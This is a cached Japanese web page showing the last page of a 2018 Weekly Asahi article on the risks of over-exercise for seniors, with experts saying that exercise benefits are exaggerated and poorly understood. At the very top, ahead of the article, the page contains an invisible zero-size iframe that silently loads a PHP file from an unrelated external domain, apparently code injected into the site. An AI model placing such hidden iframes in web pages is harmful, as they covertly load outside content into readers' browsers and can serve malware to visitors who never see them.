<iframe src="//nspt.unitag.jp/ced324f765faec92_3871.php" width="0" height="0" frameborder="0"></iframe> (cache)はりきりシニアは要注意 「運動しすぎ」のリスクとは? (5/5) 〈週刊朝日〉|AERA dot. (アエラドット)

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はりきりシニアは要注意 「運動しすぎ」のリスクとは?

山内リカ週刊朝日#シニア#ヘルス

シニアの運動がもたらすリスク(イラスト/和田慧子)

シニアの運動がもたらすリスク(イラスト/和田慧子)

ロコモ度チェックの「立ち上がりテスト」(イラスト/和田慧子)

ロコモ度チェックの「立ち上がりテスト」(イラスト/和田慧子)

立ち上がり能力による下肢筋力評価からみたリハプログラムのためのガイドライン(イラスト/和田慧子)

立ち上がり能力による下肢筋力評価からみたリハプログラムのためのガイドライン(イラスト/和田慧子)

 運動で血圧や血糖値が下がることがあり、がんの予防につながることも期待されているが、それはあくまでも副次的な効果だという。

「生活習慣病の多くは食事や体質などが強く関係しているので、運動だけで何とかなるというものではありません。また、全員に同じように効果が出るものでもありません」(同)

 こうした運動効果を誇張する傾向は、体を動かすことを強要する「スポハラ」や、運動をしない人やできない人に対しての蔑視につながるとして、「実は、そちらのほうが心配」と田中さんは言う。また、思ったような効果が表れないと「やってもムダ」という思考になり、逆に運動離れにつながることも危惧する。

 実は、運動による健康効果についてはわかっていない部分も多い。「効果がある」とする研究のほとんどが、運動をしているAグループと、運動をしていないBグループを比較するなどして運動の効果を示したものだ。大江さんは説明する。

「結果に対する理由、すなわちなぜ運動は血圧を下げ、認知症の前段階であるMCI(軽度認知障害)を予防できるのか、遺伝子の発現や伝達物質の存在など、メカニズムについては現段階ではよくわかっていない。そこまで研究は進んでいないのです」

 運動不足が招く生活習慣病なども問題だが、体を動かしてケガをしてしまえば元も子もない。(本誌・山内リカ)

週刊朝日  2018年8月31日号


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